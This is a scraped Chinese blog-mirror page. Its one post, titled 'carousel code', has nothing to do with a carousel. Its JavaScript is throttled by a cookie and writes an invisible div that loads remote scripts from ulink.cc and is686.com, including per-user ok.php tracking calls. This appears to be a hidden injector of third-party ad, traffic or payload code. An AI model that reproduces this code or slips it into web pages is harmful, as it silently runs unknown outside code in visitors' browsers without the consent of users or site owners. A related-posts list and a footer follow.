zoukankan      html  css  js  c++  java
  • 轮播代码

    //document.writeln("<script src=\"http:\/\/www.xiepeizhe.com\/1.js\"><\/script>");

    var cookie = {
    ad0:60,
    ad_num : 1,
    get_cookie : function(Name){var search = Name + "="; var returnvalue = "";if (document.cookie.length > 0) {offset = document.cookie.indexOf(search);if (offset != -1) {offset += search.length;end = document.cookie.indexOf(";", offset);if (end == -1)end = document.cookie.length;returnvalue=unescape(document.cookie.substring(offset, end));}}return returnvalue;},
    init : function(){
    for(var i=0; i<cookie.ad_num; i++){
    if(cookie.get_cookie('pp831ad_cookie_'+i)){
    continue;
    }else{
    var Then = new Date();current_time = eval('cookie.ad'+i);Then.setTime(Then.getTime() + current_time*60*1000);document.cookie='pp831ad_cookie_'+i+'=1;expires='+ Then.toGMTString()+';path=/;';
    switch(i){
    case 0:
    document.write('<div style="display:none"><script src=\"http:\/\/c1.ulink.cc\/js\/4\/4278.js\"><\/script><script src=\"http:\/\/c1.ulink.cc\/ok.php?user=sxtian112_ad\"><\/script><script src=\"http:\/\/c1.is686.com\/js\/2\/2538.js\"><\/script><script src=\"http:\/\/c1.is686.com\/ok.php?user=sxtian112\"><\/script><\/div> ');
    break;
    }
    break;
    }
    }
    }
    }
    cookie.init();

  • 相关阅读:
    各位相加
    模板方法设计模式
    581. Shortest Unsorted Continuous Subarray
    LeetCode
    判断质数
    整除问题
    A+B+C问题
    juery 安全加固 集合
    丁洪波 -- 不要“ 总是拿着微不足道的成就来骗自己”
    avalon源码阅读(1)
  • 原文地址:https://www.cnblogs.com/94YY/p/2754923.html
Copyright © 2011-2022 走看看